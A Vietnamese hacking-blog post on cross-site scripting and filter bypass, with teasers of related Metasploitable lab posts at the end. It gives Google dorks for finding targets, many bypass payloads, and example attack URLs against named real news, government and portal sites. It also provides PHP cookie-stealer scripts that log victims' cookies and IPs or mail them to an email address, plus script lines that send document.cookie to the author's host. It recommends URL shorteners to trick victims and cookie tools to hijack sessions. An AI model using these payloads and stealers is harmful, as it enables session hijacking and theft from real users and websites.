Chuyển đến nội dung chính

Tổng Hợp Về Tấn công XSS và Bypass

1-      XSS là gì ?

       XSS( Cross-Site Scripting ) là một trong những kỹ thuật hack website phổ biến nhất hiện nay bằng cách chèn vào url, chèn qua các thanh tìm kiếm hoặc chèn ở bất cứ 1 textbox nào những thẻ HTML hoặc những đoạn mã script nguy hiểm, từ đó chiếm quyền điều khiển của victim hoặc thực hiện những mệnh lệnh mà hacker đưa ra.



2-      Nguyên lý hoạt động XSS

       Khi website đã bị chèn các thẻ html hay những đoạn mã script nghĩa là đã gửi các request từ máy client đến server nhằm chèn vào đó các thông tin vượt quá tầm kiểm soát của server. Khi người sử dụng click vào những link đó thì toàn bộ cookies, mật khẩu lưu trên trình duyệt được gửi về cho hacker qua email hoặc 1 file nào đó trên host đã được thiết lập từ trước hoặc bị dẫn tới 1 trang fishing mà hacker đã thiết lập từ trước hay bị cài đặt các chương trình virus, Trojan, backdoor trên máy victim tùy vào mệnh lệnh của hacker


3-      Phân loại XSS

XSS Có 2 dạng, đó là:

    +     Persistent
+     Non-Persistent type


4-      Mức độ nguy hiểm XSS

   + Ăn cắp cookies, mật khẩu, cướp session làm việc
   + Cài các loại virus, trojan, backdoor trên máy tính victim
   + Deface website. Tuy nhiên nó chỉ chạy trên trình duyệt phía client và chỉ tấn công vào bề mặt website, không làm thay đổi cấu trúc mã nguồn, cơ sở dữ liệu của website trên server.


5-      Phương pháp check site dính lỗ hổng XSS

       Bước 1:       Sử dụng các dork sau để tìm kiếm trên google

inurl:search.php?
inurl:find.php?
inurl:search.html
inurl:find.html
inurl:search.aspx
inurl:find.aspx
inurl:?keyword=
inurl:?search=

         Bước 2:        Check lỗi XSS                

         -          Để check 1 site dính lỗi xss, thông thường ta thêm đoạn script sau <script>alert(“XSS”)</script> . Nếu thấy nó xuất hiện 1 khung thông báo thì site đó đã dính lỗi XSS và attacker có thể sử dụng XSS để chiếm quyền điều khiển hay thực thi những mục đích khác. 



         -          Tuy nhiên đối với 1 số site cần phải bypass bộ lọc khi thực hiện tấn công bằng XSS. Phần này Soleil sẽ đề cập trong bài sau.

        -          Ngoài các đoạn mã script attacker cũng có thể chèn vào các thẻ html như sau:

"><body bgcolor="FF0000"></body>

"><iframe src="www.vhbgroup.net" height=800 width=800 frameborder=1 align=center></iframe>


  
       -               Tool scanner XSS 


       Pass download: vhb



6-      1 số thao tác khi tấn công bằng XSS

       -       Trỏ về 1 trang fishing hoặc 1 hình ảnh deface



         -       Chèn ảnh vào nội dung website.

<img src=" http://np9.upanh.com/b3.s30.d2/75b5d01fec6c8b0e20416cfb65901add_48010539.vhbgroup.png">


          -       Chèn 1 video vào nội dung site

<EMBED SRC="http://vhbgroup.net/soleil.swf"

        -        Đánh cắp thông tin


<script>alert(document.cookie);</script>

         -          Đánh cắp cookie:

<script>document.location='www.vhbgroup.net/stealer.php?cookie='+escape(document.cookie)</script>

Kỹ Thuật Bypass :


1 số site dính XSS không thể tấn công bằng những đoạn mã đơn giản, giải pháp nghĩ đến đó là phải bypass bộ lọc. Có một số dạng bypass đoạn mã script như sau:


       "><script>alert("Check By Soleil")</script>
"><script>alert(String.fromCharCode(67, 104, 101, 99, 107, 32, 66, 121, 32, 83, 111, 108, 101, 105, 108)) </script>
'><script>alert("Check By Soleil ")</script>
'><script>alert(String.fromCharCode(67, 104, 101, 99, 107, 32, 66, 121, 32, 83, 111, 108, 101, 105, 108))</script>

     <ScRIPt>aLeRT("Check By Soleil ")</ScRIPt>
<ScRIPt<aLeRT(String.fromCharCode(67, 104, 101, 99, 107, 32, 66, 121, 32, 83, 111, 108, 101, 105, 108))</ScRIPt>
"><ScRIPt>aLeRT("Check By Soleil ")</ScRIPt>
"><ScRIPt<aLeRT(String.fromCharCode(67, 104, 101, 99, 107, 32, 66, 121, 32, 83, 111, 108, 101, 105, 108)) </ScRIPt>
'><ScRIPt>aLeRT("Check By Soleil ")</ScRIPt>
'><ScRIPt<aLeRT(String.fromCharCode(67, 104, 101, 99, 107, 32, 66, 121, 32, 83, 111, 108, 101, 105, 108))</ScRIPt>
</script><script>alert("Check By Soleil ")</script>
</script><script>alert(String.fromCharCode(67, 104, 101, 99, 107, 32, 66, 121, 32, 83, 111, 108, 101, 105, 108) )</script>
"/><script>alert("Check By Soleil ")</script>
"/><script>alert(String.fromCharCode(67, 104, 101, 99, 107, 32, 66, 121, 32, 83, 111, 108, 101, 105, 108))</script>
'/><script>alert("Check By Soleil ")</script>
'/><script>alert(String.fromCharCode(67, 104, 101, 99, 107, 32, 66, 121, 32, 83, 111, 108, 101, 105, 108))</script>
</SCRIPT>"><SCRIPT>alert("Check By Soleil ")</SCRIPT>
</SCRIPT>"><SCRIPT>alert(String.fromCharCode(67, 104, 101, 99, 107, 32, 66, 121, 32, 83, 111, 108, 101, 105, 108))
</SCRIPT>">"><SCRIPT>alert("Check By Soleil ")</SCRIPT>
</SCRIPT>">'><SCRIPT>alert(String.fromCharCode(67, 104, 101, 99, 107, 32, 66, 121, 32, 83, 111, 108, 101, 105, 108))</SCRIPT>

</SCRIPT>">'<SCRIPT>alert(String.fromCharCode(67,104,101,99,107,32,66,121,32,83,111,108,101,105,108,45,86,72,66,32,89,104,58,100,117,99,100,117,110,103,46,48,56,99,108,99 ))</SCRIPT>
";alert("Check By Soleil ");"
";alert(String.fromCharCode(67, 104, 101, 99, 107, 32, 66, 121, 32, 83, 111, 108, 101, 105, 108));"
';alert("Check By Soleil ");'
';alert(String.fromCharCode(67, 104, 101, 99, 107, 32, 66, 121, 32, 83, 111, 108, 101, 105, 108));'
";alert("Check By Soleil ")
";alert(String.fromCharCode(67, 104, 101, 99, 107, 32, 66, 121, 32, 83, 111, 108, 101, 105, 108)) ';alert("Check By Soleil ")
';alert(String.fromCharCode(67, 104, 101, 99, 107, 32, 66, 121, 32, 83, 111, 108, 101, 105, 108))

           Trong đó: 67, 104, 101, 99, 107, 32, 66, 121, 32, 83, 111, 108, 101, 105, 108 chính là chuỗi string “ Check By Soleil” ở dạng char.
       Ví dụ:

    -          Attacker có thể chèn vào thanh tìm kiếm site http://www.hanoi.gov.vn    đoạn mã script đã bypass sau:
<SCRIPT>alert(String.fromCharCode(67,104,101,99,107,32,66,121,32,83,111,108,101,105,108,45,86,72,66,32,89,104,58,100,117,99,100,117,110,103,46,48,56,99,108,99 ))</SCRIPT>
      Từ đó xác định site này đã chính lỗ hổng XSS và sẽ tìm cách để khai thác, chiếm quyền điều khiển đối với site này.




- http://m.aol.com/yp/search?query=Bars"><script>alert(/Check By Mr.Soleil VHB_Group/)</script>


http://tuoitre.vn/Tim-kiem/?page=1&keyword=%3C/script%3E%3CSCRIPT%3Ealert%28String.fromCharCode%2867,104,101,99,107,32,66,121,32,83,111,108,101,105,108,45,86,72,66,32,89,104,58,100,117,99,100,117,110,103,46,48,56,99,108,99%20%29%29%3C/SCRIPT%3E


      8.      Quá trình các bước thực hiện tấn công bằng XSS


       Bước 1: Tạo file Stealer.php để đánh cắp cookies

Nội dung của file Stealer.php như sau:

        <?php
       $cookie = $HTTP_GET_VARS["cookie"];
$steal = fopen("logs.txt", "a");
fwrite($steal, $cookie ."\\n");
fclose($steal);
?>

-      $cookie = $HTTP_GET_VARS["cookie"];   // đánh cắp cookie từ địa chỉ hiện   tại url(stealer.php?cookie=x) và lưu trữ cookie trong biến  $cookie
-          $steal = fopen("cookiefile.txt", "a");   // Mở cookiefile để đính kèm các cookie được đánh cắp
-          fwrite($steal, $cookie ."\\n");  // Lưu lại những cookie được đánh cắp bên trong file
-          fclose($steal);  // Đóng lại cookiefile

     File này có nhiệm vụ đánh cắp cookies của victim và ghi thông tin lên file logs.txt

      Bước 2: Up các file lên host

UP lên host 2 file Stealer.php và logs.txt. Trong đó file Stealer.php có nội dung như trên và file logs.txt là file rỗng để lưu trữ toàn bộ thông tin của victim được gửi về thông qua mệnh lệnh được đưa ra từ file Stealer.php.
      Lưu ý, phải chmod file log.txt  về 777.
      Ngoài ra có thể sử dụng các đoạn mã sau  có thêm nhiều nhiệm vụ hơn cho file stealer.php


<?php
$cookie = $_GET['c'];
$ip = getenv ('REMOTE_ADDR');
$date=date("j F, Y, g:i a");;
$referer=getenv ('HTTP_REFERER');
$fp = fopen('cookies.html', 'a');
fwrite($fp, 'Cookie: '.$cookie.'<br> IP: ' .$ip. '<br> Date and Time: ' .$date. '<br> Referer: '.$referer.'<br><br><br>');
fclose($fp);
header ("Location: <ENTER WEBSITE HERE>");
?>


<?php
$cookie = $_GET['c'];
$ip = getenv ('REMOTE_ADDR');
$date=date("j F, Y, g:i a");;
$referer=getenv ('HTTP_REFERER');
$fp = fopen('cookies.html', 'a');
fwrite($fp, 'Cookie: '.$cookie.'<br> IP: ' .$ip. '<br> Date and Time: ' .$date. '<br> Referer: '.$referer.'<br><br><br>');
fclose($fp);
?>

<?php
$cookie = $HTTP_GET_VARS["cookie"]; 
mail("ducdung.08clc@gmail.com", "Stolen Cookies", $cookie);
?>
// Đoạn mã này có tác dụng gửi cookies về email của attacker


       Bước 3: Khai thác lỗ hổng XSS

      -          Giả sử soleil up 2 file trên lên host của site http://www.vhbgroup.net , thì đoạn mã script ăn cắp cookies có dạng như sau:

     <script>location.href  =  'http://www.vhbgroup.net/Stealer.php?cookie='+document.cookie;</script>

     -          Chèn đoạn mã đó vào site dính lỗi XSS là http://www.VulnerableSite.com ta được link tương tự như:

       http://www.VulnerableSite.com/index.php?search=<script>location.href='http://www.vhbgroup.net/Stealer.php?cookie='+document.cookie;</script>

     -          Hoặc là chèn đoạn mã sau vào khung search, comment hay textbox nào đó, khi victim view site thì cookies sẽ được gửi về cho attacker <script>location.href='http://www.vhbgroup.net/Stealer.php?cookie='+document.cookie;</script>

       Để đánh lừa được victim thì attacker sẽ làm ngắn đoạn url trên bằng cách sử dụng 1 số link sau:
https://addons.mozilla.org/vi/firefox/addon/copy-shorturl/       

       Sau khi đã đánh cắp đươc thông tin cookies của victim, có thể sử dụng tiên ích add-ons cookies manager  hoặc live http để login.

Bài đăng phổ biến từ blog này

Pentest lab - Metasploitable 2

Today I will walk through different ways of exploiting Metasploitable 2, the newer release of Rapid7’s popular vulnerable machine. First, what is Metasploitable? Metasploitable is an intentionally vulnerable Linux virtual machine. This VM can be used to conduct security training, test security tools, and practice common penetration testing techniques. In my lab environment, the IP of the attacker machine is 192.168.127.159, and the victim machine is 192.168.127.154. Since this is a test lab, I won’t be concerned about stealth. Instead, I will try to get the most information out of the scans. Let’s start by port scanning the target with nmap. I did a full port, aggresive scan against the target. Here are the results. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 ...

Metasploitable 2 vulnerability assessment

A vulnerability assessment is a crucial part in every penetration test and is the process of identifying and assessing vulnerabilities on a target system. In this part of the tutorial we will be assessing the vulnerabilities available on the network side of the Metasploitable 2 virtual machine. We will be assessing the web applications on the Metasploitable 2 machine in a later tutorial. In the previous Metasploit enumeration and fingerprinting tutorial we’ve learned that the Metasploitable 2 machine contains a lot of vulnerabilities. We have collected valuable information about the target system which we will be using to find known vulnerabilities both on- and offline. Exploitation of these vulnerabilities will be demonstrated in the next exploitation tutorial. In this tutorial we will be looking at a few different ways to perform vulnerability analysis. We will be manually searching for exploits, use scanning tools like Nmap with scripts and we will be...

CEH v9 (CEHVIETNAM.COM) - Hacking Metasploitable Lab

CEH v9 : Hacking Metasploitable VM In this guide, I will demonstrate how to root a Metasploitable 2 virtual machine. Metasploitable is an intentionally vulnerable Ubuntu machine. I’ll explore just a few of the many ways Metasploitable can be attacked, from vulnerabilities in common services to little known exploits and web vulnerabilities. I’ve set up Kali Linux and Metasploitable VMs in VirtualBox on the same network (bridged mode). Kali – 192.168.56.101 Metasploitable – 192.168.56.102 - Hãy thay IP của bạn cho thích hợp Contents   1 Footprinting 1.1 Ping 1.2 Traceroute 2 Scanning 2.1 Port Scanning 2.2 OS Fingerprinting 2.2.1 nmap 2.2.2 xprobe2 3 Enumeration 3.1 FTP (TCP 21) Enumeration 3.2 Telnet (TCP 53) Enumeration 3.3 SMTP (TCP 25) Enumeration 3.4 VNC (TCP 5900) Enumeration 3.5 X11 (TCP 6000) Enumeration 3.6 RLogin (TCP 513) Enumeration 3.7 IRC (TCP 6667) Enumeration 4 Exploitation 4.1 FTP Exploit 4.2 VNC Password Cracking 4.3 IRC E...